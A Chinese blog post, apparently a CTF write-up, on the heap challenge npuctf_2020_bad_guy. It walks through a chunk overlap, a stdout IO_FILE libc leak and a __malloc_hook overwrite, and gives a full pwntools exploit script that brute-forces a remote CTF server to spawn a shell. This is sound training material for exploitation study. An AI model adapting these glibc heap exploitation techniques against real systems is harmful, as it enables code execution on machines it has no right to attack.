IO_FILE(npuctf_2020_bad_guy)

是一道入门IO_FILE的题目

保护:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EAnd0hbH-1648116914709)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165401820.png)

分析:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WcCvygiO-1648116914710)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165421263.png)

Add:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FHwG9g09-1648116914710)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165435013.png)

Edit:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kjPBNu3x-1648116914710)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165510081.png)

dele

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NFvKMZuh-1648116914711)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316165523069.png)

思路

没有常见的off-by-null,和uaf,但是edit函数可以编辑任意大小的size,且最多malloc10次,edit4次

那么就可以利用堆重叠进行攻击

因为这题需要爆破,所以为了在本地便于调试所以关闭系统的地址随机化(不是永久的)
在这里插入图片描述

1.将chunk2放入到0x70fastbin,便于后面的修改fd指针指向__IO_2_1_stdout的上方处

    malloc(0,0x10)
    malloc(1,0x10)
    malloc(2,0x60)
    malloc(3,0x10)
    free(2)

2.造成堆重叠,即chunk2和chunk3进行重叠形成一个0x90的重叠chunk,再将它放入到unsortbin中

    payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91)
    edit(0,len(payload),payload)
    free(1)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3bp6jAOk-1648116914711)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316180625737.png)

3.通过malloc切割unsortbin中的大小使它指向0x555555605040

malloc(4,0x10)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-URKyvcxe-1648116914711)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316180829983.png)

这样就可以修改0x555555605040的最后2个字节为0x25dd(因为这个地方处于_IO_2_1_stdout的上方,刚好有个0x7f的位置,可以用作fakechunk,和通过fastattack进行写入到__malloc_hook一样的原理)

4.写入IO_FILE的flag值(这里不懂的可以先去学下利用IO_stdout泄漏libc!!很重要)

    payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91)
    edit(0,len(payload),payload)
    malloc(5,0x60)
    payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0)
    malloc(6,0x60,payload)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r6JWs3yu-1648116914712)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316181359267.png)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NdWcC29e-1648116914712)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316181432090.png)

完成对应的flag值和_IO_write_base,_IO_write_ptr,_IO_write_end等值的设置后控制台就会自动输出你缓存区中的信息,所以你在打_IO_FILE时最好是在unsortbin中构造一些数据,便于泄漏libc

最后就是简单的通过fastbin attack + __malloc_hook进行getshell了

补充:之前做题一直搞不懂ubuntu16.0.4使用的glibc的具体版本,所以就一直下载错了版本从而导致远程打不出来,比如你在glibc-all-in-one中的下载列表中有这些:

在这里插入图片描述

而实际上16.04使用的是2.23-0ubuntu11_amd64,如果你使用的是2.23-0ubuntu11.3_amd64或者2.23-0ubuntu3_amd64那你的one_gadget会有偏差从而导致远程打不出来。因为glibc-all-in-one使用的是清华源,所以2.23-0ubuntu11_amd64会出现找不到的情况,那么就需要将它的源换成国外的进行代理下载,当然自己手动下载也是可以的,不过记得下载debug包!!!(详细的步骤我博客中有)

完整EXP

#! /usr/bin/python
from pwn import *
#import sys

context.terminal = ['terminator', '-x', 'sh', '-c']
#context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./npuctf_2020_bad_guy"

one = [0x45216,0x4526a,0xf02a4,0xf1147]  #2.23(64)
#idx = int(sys.argv[1])

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("node4.buuoj.cn","29728")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)

def logs(mallocr,string='logs'):
    if(isinstance(mallocr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,mallocr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,mallocr))

def pa(s='1'):
    log.success('pause : step---> '+str(s))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################
def malloc(i,s,c = 'A'):
    sla('>> ','1')
    sla('Index :',str(i))
    sla('size:',str(s))
    sa('Content:',c)
def edit(i,s,c = 'A'):
    sla('>> ','2')
    sla('Index :',str(i))
    sla('size:',str(s))
    sa('content:',c)
def free(i):
    sla('>> ','3')
    sla('Index :',str(i))
################################### Statr ############################################
def pwn():
    malloc(0,0x10)
    malloc(1,0x10)
    malloc(2,0x60)
    malloc(3,0x10)
    free(2)
    payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91)
    edit(0,len(payload),payload)
    free(1)
    malloc(4,0x10)
    payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91)
    edit(0,len(payload),payload)
    malloc(5,0x60)
    payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0)
    malloc(6,0x60,payload)
    pa()
    libc.address = info(ru('\x7f')[-6:]) - (0x7ffff7dd2600 - 0x7ffff7a0d000)
    malloc(7,0x60)
    free(7)
    payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 0x23) #* 3 + p64(0x91)
    edit(0,len(payload),payload)
    malloc(8,0x60)
    payload = 0x13 * p8(0) + p64(libc.offset_to_vaddr(one[3]))
    malloc(9,0x60,payload)
    sla('>> ','1')
    sla('Index :',str(10))
    sla('size:',str(10))

    p.interactive()
################################### End ##############################################
while 1:
    try:
        pwn()
        break
    except KeyboardInterrupt:
        p.close()
        p = remote("node4.buuoj.cn","29728")
        #p = process(binary)
    except :
        p.close()
        #p = process(binary)
        p = remote("node4.buuoj.cn","29728")

成功截图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jppLFLrk-1648116914711)(IO_FILE(npuctf_2020_bad_guy)].assets/image-20220316182030308.png)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值